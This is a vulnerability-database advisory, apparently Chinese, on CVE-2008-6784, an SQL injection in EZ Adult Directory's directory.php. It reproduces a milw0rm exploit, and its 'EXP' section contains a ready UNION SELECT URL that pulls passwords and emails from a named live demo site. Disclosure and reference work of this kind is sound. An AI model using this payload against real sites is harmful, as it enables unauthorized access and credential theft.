Scripts-For-Sites EZ Adult目录'directory.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1116567 漏洞类型 SQL注入
发布时间 2008-10-31 更新时间 2009-05-01
CVE编号 CVE-2008-6784 CNNVD-ID CNNVD-200905-010
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/6895
https://www.securityfocus.com/bid/80727
https://cxsecurity.com/issue/WLB-2009050087
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200905-010
|漏洞详情
Sites(SFS)EZAdult目录中的directory.php存在SQL注入漏洞。远程攻击者可以借助列表操作中的cat-id参数,执行任意的SQL指令。
|漏洞EXP
==================================================================================
   SFS EZ Adult Directory (directory.php id) Remote SQL Injection Vulnerability
==================================================================================
			   __  __           __          
			   / / / /_  _______/ /__  __  __
			  / /_/ / / / / ___/ / _ \/ / / /
			 / __  / /_/ / /  / /  __/ /_/ / 
			/_/ /_/\__,_/_/  /_/\___/\__, /  
			                        /____/   
==================================================================================
----------------------------------------------------------------------------------
Website script: http://www.scripts-for-sites.info/index.php
----------------------------------------------------------------------------------
Exploit:      http://localHost/gaming/directory.php?ax=list&l=list_by&cat_id=[exploit]
----------------------------------------------------------------------------------
LiveDemo:
http://turnkeyzone.com/demos/adultdir/directory.php?ax=list&sub=6&cat_id=1/**/union/**/all/**/select/**/1,2,concat_ws(0x3a,password,email),4,5,6,7,8,9,10,11,12,13/**/from/**/links/*
----------------------------------------------------------------------------------
==================================================================================
Special Thx : Darckc0de
==================================================================================

# milw0rm.com [2008-10-31]
|受影响的产品
Scripts-For-Sites Ez Adult Directory 0
|参考资料

来源:XF
名称:sfs-directoryphp-sql-injection(46251)
链接:http://xforce.iss.net/xforce/xfdb/46251
来源:BID
名称:32021
链接:http://www.securityfocus.com/bid/32021
来源:OSVDB
名称:49550
链接:http://www.osvdb.org/49550
来源:MILW0RM
名称:6895
链接:http://www.milw0rm.com/exploits/6895
来源:SECUNIA
名称:32558
链接:http://secunia.com/advisories/32558